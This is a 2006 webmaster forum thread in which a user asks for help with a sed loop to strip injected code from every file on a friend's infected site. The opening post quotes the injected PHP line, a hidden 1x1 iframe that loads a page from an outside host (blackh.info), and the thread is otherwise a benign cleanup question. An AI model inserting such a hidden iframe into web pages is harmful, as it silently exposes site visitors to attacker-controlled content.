Contact Us Forum Rules Search Archive
WebProWorld Part of WebProNews.com
Page One Link To Us Edit Profile Private Messages Archives FAQ RSS Feeds  
 

Go Back   WebProWorld > Webmaster, IT and Security Discussion > Web Programming Discussion Forum
Subscribe to the Newsletter FREE!


Register FAQ Members List Calendar Arcade Chatbox Mark Forums Read

Web Programming Discussion Forum Working with an API? Developing a plugin? Writing a Mod or script for your favorite blog, Web 2.0 site or Forum? Welcome.

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 01-03-2006, 02:23 PM
AjiNIMC's Avatar
WebProWorld Pro
 

Join Date: Aug 2004
Location: India
Posts: 268
AjiNIMC RepRank 0
Default Virus problem , need help with sed (urgent)

All the files at one of my friend's website is virus infected, it has inserted following code in it.

<? echo ('<html><head><title></title></head><body><iframe src="http://www.blackh.info/traff/" width=1 height=1></iframe></body></html>');?>

Now I want to replace all the code with nothing.

for a in $(find -type f -not -regex '.*\/\.svn.*'); do sed -e 's/<\?\s echo\s \(\'<html><head><title><\/title><\/head\><body><iframe\s src=\"http:\/\/www\.blackh\.info\/traff\/\"\s width=1\s height=1><\/iframe><\/body><\/html>\'\);\?>//g' $a > $a.modifiedfile; mv -f $a.modifiedfile $a; done

since he is use subversion I can't edit inside .svn folders.

This is not working as I am not comfortable with regex and escape characters.

Please help urgently

Thanks,
AjiNIMC
Reply With Quote
  #2 (permalink)  
Old 01-03-2006, 09:41 PM
WebProWorld Member
 

Join Date: Jun 2004
Posts: 49
Grinler RepRank 0
Default

PM me the url to your friends site so i can take a look at something.
Reply With Quote
  #3 (permalink)  
Old 01-04-2006, 02:19 AM
AjiNIMC's Avatar
WebProWorld Pro
 

Join Date: Aug 2004
Location: India
Posts: 268
AjiNIMC RepRank 0
Default It is already fixed

I am going to blog about it, once I am over with the blog I will put the link over here. Surely this will help many with the same virus problem.

Thanks,
AjiNIMC
Reply With Quote
Reply

  WebProWorld > Webmaster, IT and Security Discussion > Web Programming Discussion Forum
Tags: , , , ,



Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Search Engine Optimization by vBSEO 3.2.0